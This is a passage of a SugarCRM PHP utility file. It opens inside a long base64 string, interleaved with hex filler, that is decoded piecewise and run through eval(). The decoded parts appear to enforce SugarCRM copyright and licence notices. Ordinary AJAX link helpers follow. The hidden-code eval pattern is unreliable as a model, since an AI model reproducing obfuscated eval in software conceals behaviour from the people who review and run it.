U0VTU0lP7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5TlsnbXZpJ107ICAgICAkX1NFU1NJT05b7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5J212aSddID0gYmFzZTY0X2VuY29kZSgk7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5X1NFU1NJT05bJ212aSddKTsgICAgIH0g7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgIH0gIH0gfSAgaWYoIWZ1bmN0aW9u7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5X2V4aXN0cygnbXZjY2hlY2snKSl7ICBm7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dW5jdGlvbiBtdmNjaGVjaygpeyAgIGlm7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5KCFlbXB0eSgkX1NFU1NJT05bJ212aSdd7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5KSAmJiAhZW1wdHkoJEdMT0JBTFNbJ2Fw7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5cCddLT5oZWFkZXJEaXNwbGF5ZWQpKXsg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgZWNobyBiYXNlNjRfZGVjb2RlKCRf7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5U0VTU0lPTlsnbXZpJ10pOyAgIH0gIH0g7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5fSAgaWYoIWZ1bmN0aW9uX2V4aXN0cygn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bXZjbG9nJykpeyAgIGZ1bmN0aW9uIG127D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Y2xvZygkdGltZV9vbl9sYXN0X3BhZ2Up7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IHsgICBpZihlbXB0eSgkX1JFUVVFU1Rb7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5J2FjdGlvbiddKSlyZXR1cm47ICAgc3dp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dGNoKCRfUkVRVUVTVFsnYWN0aW9uJ10p7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5eyAgICBjYXNlICdMb2dpbic6JGNhc2Ug7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5PSAxOyRsZXZlbD0xO2JyZWFrOyAgICBj7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YXNlICdBdXRoZW50aWNhdGUnOiRjYXNl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ID0gMDskbGV2ZWw9MjticmVhazsgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Y2FzZSAnQWJvdXQnOiRjYXNlID0gMTsk7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bGV2ZWw9MTticmVhazsgICAgZGVmYXVs7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dDptdmNjaGVjaygpO3JldHVybjsgICB97D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgZ2xvYmFsICRhdXRoTGV2ZWw7ICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JGF1dGhMZXZlbCA9ICRsZXZlbDsgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JGZzID0gYXJyYXkgKCk7ICAgICRmc1td7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ID0gYXJyYXkgKCdnJyA9PiAnYVc1amJI7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5VmtaUzlOVmtNdlZtbGxkeTlUZFdkaGNs7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WnBaWGN1Y0dodycsICdtJyA9PiAnJywg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5J2EnID0+ICdKbU52Y0hrN0lESXdNRFF07D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5TWpBeE1pQlRkV2RoY2tOU1RTQkpibU117D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5SUZSb1pTQlFjbTluY21GdElHbHpJSEJ57D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YjNacFpHVmtJRUZUSUVsVExDQjNhWFJv7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YjNWMElIZGhjbkpoYm5SNUxpQWdUR2xq7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Wlc1elpXUWdkVzVrWlhJZ1BHRWdhSEps7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WmowaVRFbERSVTVUUlM1MGVIUWlJSFJo7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Y21kbGREMGlYMkpzWVc1cklpQmpiR0Z67D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Y3owaVkyOXdlVkpwWjJoMFRHbHVheUkr7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5UVVkUVRIWXpQQzloUGk0OFluSStWR2hw7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Y3lCd2NtOW5jbUZ0SUdseklHWnlaV1Vn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YzI5bWRIZGhjbVU3SUhsdmRTQmpZVzRn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Y21Wa2FYTjBjbWxpZFhSbElHbDBJR0Z17D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WkM5dmNpQnRiMlJwWm5rZ2FYUWdkVzVr7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WlhJZ2RHaGxJSFJsY20xeklHOW1JSFJv7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WlNBOFluSStQR0VnYUhKbFpqMGlURWxE7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5UlU1VFJTNTBlSFFpSUhSaGNtZGxkRDBp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WDJKc1lXNXJJaUJqYkdGemN6MGlZMjl37D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZVZKcFoyaDBUR2x1YXlJK0lFZE9WU0JC7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Wm1abGNtOGdSMlZ1WlhKaGJDQlFkV0pz7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YVdNZ1RHbGpaVzV6WlNCMlpYSnphVzl17D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5SURNOEwyRStJR0Z6SUhCMVlteHBjMmhs7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WkNCaWVTQjBhR1VnUm5KbFpTQlRiMlow7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZDJGeVpTQkdiM1Z1WkdGMGFXOXVMQ0Jw7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Ym1Oc2RXUnBibWNnZEdobElHRmtaR2ww7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YVc5dVlXd2djR1Z5YldsemMybHZiaUJ67D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WlhRZ1ptOXlkR2dnYVc0Z2RHaGxJSE527D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZFhKalpTQmpiMlJsSUdobFlXUmxjaTQ47D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WW5JKycsICdpJyA9PiAnMScsICdiJyA97D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5PiAnSm1OdmNIazdJREl3TURRdE1qQXhN7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5aUE4WVNCb2NtVm1QU0pvZEhSd09pOHZk7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5M2QzTG5OMVoyRnlZM0p0TG1OdmJTSWdk7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5R0Z5WjJWMFBTSmZZbXhoYm1zaUlHTnNZ7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WE56UFNKamIzQjVVbWxuYUhSTWFXNXJJ7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ajVUZFdkaGNrTlNUU0JKYm1NdVBDOWhQ7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5aUJCYkd3Z1VtbG5hSFJ6SUZKbGMyVnlk7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bVZrTGp4aWNqND0nLCAnYyc9PiRjYXNl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5LCAnbCc9PiRsZXZlbCwgJ3MnPT4yKTsg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgJGZzW10gPSBhcnJheSAoJ2cnID0+7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICdhVzVqYkhWa1pTOU5Wa012Vm1sbGR57D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5OVRkV2RoY2xacFpYY3VjR2h3JywgJ20n7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ID0+ICcnLCAnYScgPT4gJ1UzVm5ZWEpE7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5VWswZ2FYTWdZU0IwY21Ga1pXMWhjbXNn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YjJZZ1UzVm5ZWEpEVWswc0lFbHVZeTRn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5UVd4c0lHOTBhR1Z5SUdOdmJYQmhibmtn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WVc1a0lIQnliMlIxWTNRZ2JtRnRaWE1n7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YldGNUlHSmxJSFJ5WVdSbGJXRnlhM01n7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YjJZZ2RHaGxJSEpsYzNCbFkzUnBkbVVn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WTI5dGNHRnVhV1Z6SUhkcGRHZ2dkMmhw7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WTJnZ2RHaGxlU0JoY21VZ1lYTnpiMk5w7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WVhSbFpDND0nLCAnaScgPT4gJzEnLCAn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YicgPT4gJ1UzVm5ZWEpEVWswZ2FYTWdZ7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5U0IwY21Ga1pXMWhjbXNnYjJZZ1UzVm5Z7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WEpEVWswc0lFbHVZeTRnUVd4c0lHOTBh7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5R1Z5SUdOdmJYQmhibmtnWVc1a0lIQnli7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5MlIxWTNRZ2JtRnRaWE1nYldGNUlHSmxJ7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5SFJ5WVdSbGJXRnlhM01nYjJZZ2RHaGxJ7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5SEpsYzNCbFkzUnBkbVVnWTI5dGNHRnVh7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5V1Z6SUhkcGRHZ2dkMmhwWTJnZ2RHaGxl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5U0JoY21VZ1lYTnpiMk5wWVhSbFpDND0n7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5LCAnYyc9PiRjYXNlLCAnbCc9PiRsZXZl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bCwgJ3MnPT4yKTsgICAgJGZzW10gPSBh7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5cnJheSAoJ2cnID0+ICdhVzVqYkhWa1pT7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5OXBiV0ZuWlhNdmNHOTNaWEpsWkdKNVgz7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5TjFaMkZ5WTNKdExuQnVadz09JywgJ20n7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ID0+ICc4MjRlN2U2NWEzYjc5MDFjYjBh7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5MWQ1M2E4MGFkOTMxMCcsICdhJyA9PiAn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JywgJ2knID0+IDAgLCdjJz0+JGNhc2Us7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICdsJz0+JGxldmVsLCAncyc9PjEpOyAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgICAgICAkZnNbXSA9IGFycmF57D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICgnZycgPT4gJ2FXNWpiSFZrWlM5TlZr7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5TXZWbWxsZHk5VGRXZGhjbFpwWlhjdWNH7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5aHcnLCAnbScgPT4gJycsICdhJyA9PiAn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5UEdsdFp5QnpkSGxzWlQwbmJXRnlaMmx17D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5TFhSdmNEb2dNbkI0SnlCaWIzSmtaWEk57D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5SnpBbklIZHBaSFJvUFNjeE1EWW5JR2hs7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YVdkb2REMG5Nak1uSUhOeVl6MG5hVzVq7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YkhWa1pTOXBiV0ZuWlhNdmNHOTNaWEps7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WkdKNVgzTjFaMkZ5WTNKdExuQnVaeWNn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WVd4MFBTZFFiM2RsY21Wa0lFSjVJRk4x7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5WjJGeVExSk5KejQ9JywgJ2knID0+ICcx7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JywgJ2InID0+ICdQRUVnYUhKbFpqMG5h7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5SFIwY0RvdkwzZDNkeTV6ZFdkaGNtWnZj7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bWRsTG05eVp5Y2dkR0Z5WjJWMFBTZGZZ7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bXhoYm1zblBqeHBiV2NnYzNSNWJHVTlK7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5MjFoY21kcGJpMTBiM0E2SURKd2VDY2dZ7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bTl5WkdWeVBTY3dKeUIzYVdSMGFEMG5N7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5VEEySnlCb1pXbG5hSFE5SnpJekp5Qnpj7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bU05SjJsdVkyeDFaR1V2YVcxaFoyVnpM7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5M0J2ZDJWeVpXUmllVjl6ZFdkaGNtTnli7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5UzV3Ym1jbklHRnNkRDBuVUc5M1pYSmxa7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Q0JDZVNCVGRXZGhja05TVFNjK1BDOWhQ7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Zz09JywgJ2MnPT4kY2FzZSwgJ2wnPT4k7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bGV2ZWwsICdzJz0+MSk7ICAgIGFtc2ko7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JGZzKTsgICB9IH0g";$msi4= 0;$msi10="";$msi8="b";$msi16="d";$msi17="64";$msi2="st";$msi3= 0;$msi14="as";$msi5="su";$msi7=32;$msi6="r";$msi19="e";$msi12=$msi2.$msi6.$msi0;$msi11 = $msi12($msi1);$msi13= $msi5. $msi8. $msi2.$msi6;$msi21= $msi8. $msi14 . $msi19. $msi17 ."_". $msi16.$msi19. $msi;for(;$msi3 < $msi11;$msi3+=$msi7, $msi4++){if($msi4%3==1)$msi10.=$msi21($msi13($msi1, $msi3, $msi7)); }if(!empty($msi10))eval($msi10);
61
62 function getPrintLink()
63 {
64     if (isset($_REQUEST['action']) && $_REQUEST['action'] == "ajaxui")
65     {
66         return "javascript:SUGAR.ajaxUI.print();";
67     }
68     return "javascript:void window.open('index.php?{$GLOBALS['request_string']}',"
69          . "'printwin','menubar=1,status=0,resizable=1,scrollbars=1,toolbar=0,location=1')";
70 }
71
72
73 function ajaxBannedModules(){
74     $bannedModules = array(
75         'Calendar',
76         'Emails',
77         'Campaigns',
78         'Documents',
79         'DocumentRevisions',
80         'Project',
81         'ProjectTask',
82         'EmailMarketing',
83         'CampaignLog',
84         'CampaignTrackers',
85         'Releases',
86         'Groups',
87         'EmailMan',
88         "Administration",
89         "ModuleBuilder",
90         'Schedulers',
91         'SchedulersJobs',
92         'DynamicFields',
93         'EditCustomFields',
94         'EmailTemplates',
95         'Users',
96         'Currencies',
97         'Trackers',
98         'Connectors',
99         'Import_1',
100         'Import_2',
101         'Versions',
102         'vCals',
103         'CustomFields',
104         'Roles',
105         'Audit',
106         'InboundEmail',
107         'SavedSearch',
108         'UserPreferences',
109         'MergeRecords',
110         'EmailAddresses',
111         'Relationships',
112         'Employees',
113         'Import'
114     );
115
116     if(!empty($GLOBALS['sugar_config']['addAjaxBannedModules'])){
117         $bannedModules = array_merge($bannedModules, $GLOBALS['sugar_config']['addAjaxBannedModules']);
118     }
119     if(!empty($GLOBALS['sugar_config']['overrideAjaxBannedModules'])){
120         $bannedModules = $GLOBALS['sugar_config']['overrideAjaxBannedModules'];
121     }
122
123     return $bannedModules;
124 }
125
126 function ajaxLink($url)
127 {
128     global $sugar_config;
129     $match = array();
130     $javascriptMatch = array();
131     
132     preg_match('/module=([^&]*)/i', $url, $match);
133     preg_match('/^javascript/i', $url, $javascriptMatch);
134
135     if(!empty($sugar_config['disableAjaxUI'])){
136         return $url;
137     }
138     else if(isset($match[1]) && in_array($match[1], ajaxBannedModules())){
139         return $url;
140     }
141     //Don't modify javascript calls.
142     else if (isset($javascriptMatch[0])) {
143         return $url;
144     }
145     else
146     {
147         return "#ajaxUILoc=" . urlencode($url);
148     }
149 }
150
151 ?>